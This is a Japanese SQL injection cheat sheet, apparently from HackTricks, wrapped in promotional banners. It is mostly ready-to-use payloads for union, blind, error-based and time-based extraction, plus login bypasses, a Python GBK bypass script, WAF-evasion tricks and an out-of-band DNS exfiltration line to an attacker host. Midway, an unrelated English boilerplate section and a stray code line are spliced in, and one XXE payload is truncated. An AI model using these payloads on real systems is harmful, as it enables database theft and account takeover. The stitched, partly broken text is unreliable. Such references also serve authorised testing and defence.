# SQL インジェクション
htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ!
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローします**
* **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出します
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** でも最も重要なイベントの1つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
## SQL インジェクションとは?
**SQL インジェクション**は、攻撃者がアプリケーションのデータベースクエリに **干渉** できるセキュリティ上の脆弱性です。この脆弱性により、攻撃者は、他のユーザーの情報やアプリケーションがアクセスできるデータを含む、アクセスすべきでないデータを **表示**、**変更**、または **削除** することができます。これらの行動は、アプリケーションの機能やコンテンツの永続的な変更、またはサーバーの侵害やサービスの拒否さえも引き起こす可能性があります。
## エントリーポイントの検出
サイトが **SQL インジェクション(SQLi)** に脆弱であるように見える場合、SQLi 関連の入力に対するサーバーの異常な応答により、**最初のステップ** は、クエリにデータを **挿入する方法を理解し、それを妨げることなく** 行うことです。これには、現在のコンテキストから **効果的に脱出する方法** を特定する必要があります。
以下は、いくつかの有用な例です:
```
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```
次に、**クエリを修正してエラーが発生しないようにする方法**を知る必要があります。クエリを修正するためには、新しいデータを**入力**して、**以前のクエリが新しいデータを受け入れるように**するか、単に**データを入力**して**コメント記号を末尾に追加**することができます。
_クエリが機能しているときと機能していないときにエラーメッセージを見ることができるか、違いを見つけることができる場合、このフェーズはより簡単になります。_
### **コメント**
```sql
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
```
### 論理演算で確認
SQLインジェクションの脆弱性を確認する信頼性の高い方法は、**論理演算**を実行し、期待される結果を観察することです。たとえば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更されたときに同一のコンテンツが生成される場合、SQLインジェクションの脆弱性が示唆されます。
同様に、**数学演算**の適用は効果的な確認手法として機能します。たとえば、`?id=1`にアクセスした場合と`?id=2-1`にアクセスした場合に同じ結果が生成される場合、SQLインジェクションの兆候となります。
論理演算による確認を示す例:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
このワードリストは、提案された方法でSQLインジェクションを**確認**しようと作成されました:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
### タイミングでの確認
場合によっては、テストしているページに**変化に気づかない**ことがあります。そのため、**ブラインドSQLインジェクションを発見**する良い方法は、DBにアクションを実行させ、ページの読み込みに**時間がかかる影響**を与えることです。\
したがって、SQLクエリに、完了に多くの時間がかかる操作を連結します:
```
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
いくつかの場合、**sleep関数を許可されない**ことがあります。その場合、これらの関数を使用する代わりに、**複雑な操作を実行**させることで、数秒かかるクエリを作成できます。_これらのテクニックの例は、各技術ごとに別々にコメントされます_。
### バックエンドの特定
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの**sleep関数**またはこれらの関数を使用できます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)からのテーブルを使用):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
また、クエリの出力にアクセスできる場合は、**データベースのバージョンを表示させることができます**。
{% hint style="info" %}
続けて、異なる種類のSQLインジェクションを悪用するための異なる方法について説明します。例としてMySQLを使用します。
{% endhint %}
### PortSwiggerを使用した識別
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
## Union Basedの悪用
### 列の数を検出する
クエリの出力を見ることができる場合、これが悪用する最良の方法です。\
まず、**初期リクエスト**が返す**列の数**を見つける必要があります。これは**両方のクエリが同じ列の数を返す必要があるため**です。\
通常、この目的のためには2つの方法が使用されます:
#### Order/Group by
クエリ内の列の数を特定するには、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、偽の応答が受信されるまで増やします。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、クエリの列数を確認するために両方を同様に利用できます。
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
```sql
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
#### UNION SELECT
クエリが正しい値を返すまで、さらに多くの null 値を選択します:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_いくつかのケースでは、クエリの両側の列の型が同じである必要があるため、`null`値を使用する必要があります。`null`はすべてのケースで有効です。_
### データベース名、テーブル名、列名を抽出
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの列名を取得します:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_異なるデータベースごとにこのデータを発見する方法は異なりますが、常に同じ方法論です。_
## 隠れた Union Based の悪用
クエリの出力が見えるが、union-based injection が達成不可能に見える場合、**隠れた union-based injection** の存在を示しています。このシナリオはしばしば blind injection の状況につながります。blind injection を union-based に変換するには、バックエンドでの実行クエリを識別する必要があります。
これは、目標とするデータベース管理システム(DBMS)に固有のデフォルトテーブルと共に blind injection テクニックを使用して達成できます。これらのデフォルトテーブルを理解するためには、対象のDBMSのドキュメントを参照することが推奨されます。
クエリを抽出したら、ペイロードを調整して元のクエリを安全に閉じる必要があります。その後、ペイロードに union クエリを追加することで、新たにアクセス可能になった union-based injection を悪用できます。
より包括的な洞察を得るには、[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) で利用可能な完全な記事を参照してください。
## エラーを利用した悪用
何らかの理由で **クエリの出力** を **見ることができない** が、**エラーメッセージを見ることができる** 場合、これらのエラーメッセージを使用してデータベースからデータを **外部に持ち出す** ことができます。\
Union Based の悪用と同様の流れに従うことで、DB をダンプすることができます。
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Blind SQLiの悪用
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を返すときに区別できます。なぜなら、ページには異なるコンテンツが表示されるからです。\
この場合、その動作を悪用してデータベースを1文字ずつダンプすることができます:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## エラー盲目SQLiの悪用
これは**以前と同じケース**ですが、クエリからの真偽の応答を区別する代わりに、SQLクエリのエラーの有無(おそらくHTTPサーバーがクラッシュするため)を区別できます。したがって、この場合、文字を正しく推測するたびにSQLエラーを強制することができます。
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Time Based SQLiの悪用
この場合、クエリの応答をページのコンテキストに基づいて区別する方法はありません。しかし、推測された文字が正しい場合、ページの読み込みに時間がかかるようにすることができます。すでにこのテクニックが使用されており、[SQLiの脆弱性を確認](./#confirming-with-timing)するために使用されています。
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## スタックされたクエリ
スタックされたクエリを使用して、**連続して複数のクエリを実行**できます。後続のクエリが実行される間、**結果はアプリケーションに返されない**ことに注意してください。したがって、このテクニックは主に**ブラインド脆弱性**に関連して使用され、第二のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。
**Oracle**は**スタックされたクエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれらをサポートしています:`ここにクエリ1; ここにクエリ2`
## Out of band Exploitation
他の**どの**攻撃手法も**機能しない**場合、**データベースに情報を外部ホスト**(あなたが制御する)に**送信**させることを試してみることができます。たとえば、DNSクエリを介して:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### XXEを利用した外部バンドデータのエクスフィルトレーション
```sql
a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- -
```
## 自動化された攻撃
SQLi脆弱性を利用するための[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用した攻撃手法については、[SQLMapチートシート](sqlmap/)を参照してください。
## テクノロジー固有の情報
SQLインジェクション脆弱性を悪用する方法についてはすでにすべて説明しました。この書籍では、データベーステクノロジーに依存したさらなるトリックを見つけることができます:
* [MS Access](ms-access-sql-injection.md)
* [MSSQL](mssql-injection.md)
* [MySQL](mysql-injection/)
* [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/)
また、**MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリック**を[**こちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)で見つけることができます。
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命とする**この会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
## 認証バイパス
ログイン機能をバイパスしようとするリスト:
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
{% endcontent-ref %}
### 生のハッシュ認証バイパス
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
このクエリは、MD5がtrueで生の出力を使用して認証チェックを行う際の脆弱性を示しており、システムがSQLインジェクションに対して脆弱になります。攻撃者は、入力を工夫してハッシュ化すると、予期しないSQLコマンドの一部が生成され、不正アクセスが可能になります。
```sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
```
### インジェクトされたハッシュ認証バイパス
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**推奨リスト**:
リストの各行をユーザー名として使用し、常にパスワードを **_Pass1234._** としてください。\
(これらのペイロードは、このセクションの冒頭で言及されている大きなリストにも含まれています)
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
### GBK 認証バイパス
IF ' がエスケープされている場合、%A8%27 を使用できます。そして ' がエスケープされると、0xA80x5c0x27 (_╘'_) が作成されます。
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
Pythonスクリプト:
```python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### ポリグロットインジェクション(マルチコンテキスト)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## 挿入ステートメント
### 既存のオブジェクト/ユーザーのパスワードを変更する
これを行うには、おそらくユーザーの場合は**管理者**として名前が付けられた**「マスターオブジェクト」という新しいオブジェクトを作成しようとしてください:
- ユーザー名を**AdMIn**として作成する(大文字と小文字を区別)
- ユーザー名を**admin=**として作成する
- **SQL Truncation Attack**(ユーザー名やメールに**文字数制限**がある場合) --> 名前が**admin \[たくさんのスペース]**のユーザーを作成する
#### SQL Truncation Attack
データベースが脆弱で、ユーザー名の最大文字数が例えば30であり、ユーザー**admin**をなりすます場合、"_admin \[30スペース] a_"というユーザー名を作成してみてください。そして、任意のパスワードを設定します。
データベースは、導入された**ユーザー名**がデータベース内に存在するかどうかを**確認**します。もし存在しない場合、**ユーザー名**を**許可された最大文字数**(この場合は"_admin \[25スペース]_")に**切り取り**、そして**自動的に末尾のすべてのスペースを削除して**データベース内のユーザー**「admin」**の**新しいパスワード**を更新します(エラーが表示されることがありますが、これが機能していないということではありません)。
詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなりました。比較は引き続きデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。これについての詳細情報はこちらを参照してください: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
### MySQL挿入時の時間ベースのチェック
VALUESステートメントを終了すると考えられるだけの`','',''`を追加します。遅延が発生した場合、SQLインジェクションが発生しています。
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスやPRIMARY KEYに重複する値が挿入されようとした場合にデータベースが取るべきアクションを指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています:
例:インジェクションペイロード
インジェクションペイロードは、`users`テーブルに2つの行を挿入しようとするように作成されるかもしれません。最初の行はデコイであり、2番目の行は既存の管理者のメールアドレスを対象とし、パスワードを更新することを意図しています。
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
### 情報の抽出
#### 同時に2つのアカウントを作成する
新しいユーザーとユーザー名を作成しようとすると、パスワードと電子メールが必要です。
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### 10進数または16進数を使用する
このテクニックを使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントを追加する必要はないことに注意することが重要です。
**hex2dec** と **substr** を使用する:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
以下は、ハッキング技術に関する本の内容です。ファイルpentesting-web/sql-injection/README.mdからのコンテンツです。
## SQL Injection
### Description
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.
### Impact
The impact of an SQL injection attack can vary greatly depending on the application, the functionality of the website, and the data that is stored in the database. Some of the potential consequences of a successful SQL injection attack include unauthorized access to sensitive data, such as personal information, financial data, or intellectual property; the ability to execute operations on the database, such as adding, modifying, or deleting records; and in some cases, the ability to take control of the server that hosts the database.
### Detection
Detecting SQL injection vulnerabilities can be challenging, as they can be present in both the frontend and backend components of a web application. Automated tools can be used to scan for common SQL injection vulnerabilities, but manual testing is often required to identify more complex issues. Common indicators of SQL injection include error messages that reveal details about the database structure, unexpected changes in application behavior, and the presence of suspicious or malformed input in application requests.
### Prevention
Preventing SQL injection attacks requires a combination of secure coding practices and input validation techniques. Developers should use parameterized queries or prepared statements to prevent malicious input from being interpreted as SQL commands. Additionally, input should be validated on the client side to ensure that it conforms to expected formats and does not contain any potentially harmful characters. Regular security assessments and code reviews can help identify and address SQL injection vulnerabilities before they can be exploited by attackers.
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
**hex**と**replace**(および**substr**)を使用する:
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い交流の場となっています。
{% embed url="https://www.rootedcon.com/" %}
## ルーテッドSQLインジェクション
ルーテッドSQLインジェクションとは、インジェクション可能なクエリが出力を提供するものではなく、インジェクション可能なクエリの出力が出力を提供するクエリに移動する状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
例:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF バイパス
[ここから初期バイパス](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### スペースなしバイパス
スペースなし (%20) - 空白の代替手段を使用したバイパス
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
### No Whitespace - コメントを使用してバイパスする
攻撃者は、SQLインジェクション攻撃を実行する際に、SQLクエリ内のスペースを回避するために、コメントを使用することができます。コメントを使用することで、SQLクエリの一部を無効にし、攻撃者が意図したコードを実行させることが可能となります。
例えば、以下のようなSQLクエリがあるとします:
```sql
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
```
攻撃者は、以下のようにコメントを使用してスペースを回避することができます:
```sql
SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'password'
```
このようにすることで、`AND password = 'password'` の部分がコメントとして無視され、攻撃者が任意の条件を挿入することが可能となります。
```sql
?id=1/*comment*/and/**/1=1/**/--
```
### No Whitespace - パーレンシスを使用してバイパスする
このテクニックは、SQLインジェクション攻撃時にスペースを回避するために使用されます。通常、SQL文のキーワードと識別子の間にスペースが必要ですが、パーレンシス(括弧)を使用することでスペースを回避することができます。これにより、攻撃者はSQLインジェクション攻撃を実行し、目的のデータベースにアクセスすることが可能となります。
```sql
?id=(1)and(1)=(1)--
```
### コンマをバイパスする
オフセット、FROM、JOINを使用してコンマをバイパスします。
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### 一般的なバイパス
キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
### キーワードを使ったブラックリストは大文字小文字を区別しない - 同等の演算子を使用してバイパスします
```
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### 科学的表記 WAF バイパス
このトリックの詳細な説明は、[gosecure ブログ](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\
基本的に、WAF をバイパスするために予期しない方法で科学的表記を使用できます。
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### カラム名の制限をバイパスする
まず最初に、もし**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている**場合は、単に次のようにすることができます: `0 UNION SELECT * FROM flag`
カラム名を使用せずに**テーブルの3番目のカラムにアクセスすることが可能**です。以下のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`、したがって、これはsqlinjectionでは次のようになります:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
または、**カンマバイパス**を使用する:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取得されました。
### WAF バイパス提案ツール
{% embed url="https://github.com/m4ll0k/Atlas" %}
## その他のガイド
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## ブルートフォース検出リスト
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
[**RootedCON**](https://www.rootedcon.com/) は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
ゼロからヒーローまでのAWSハッキングを学ぶhtARTE(HackTricks AWS Red Team Expert)!
* **サイバーセキュリティ企業で働いていますか?** **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセス**したいですか?または、**HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れます
* **💬** [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローします**。
* **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。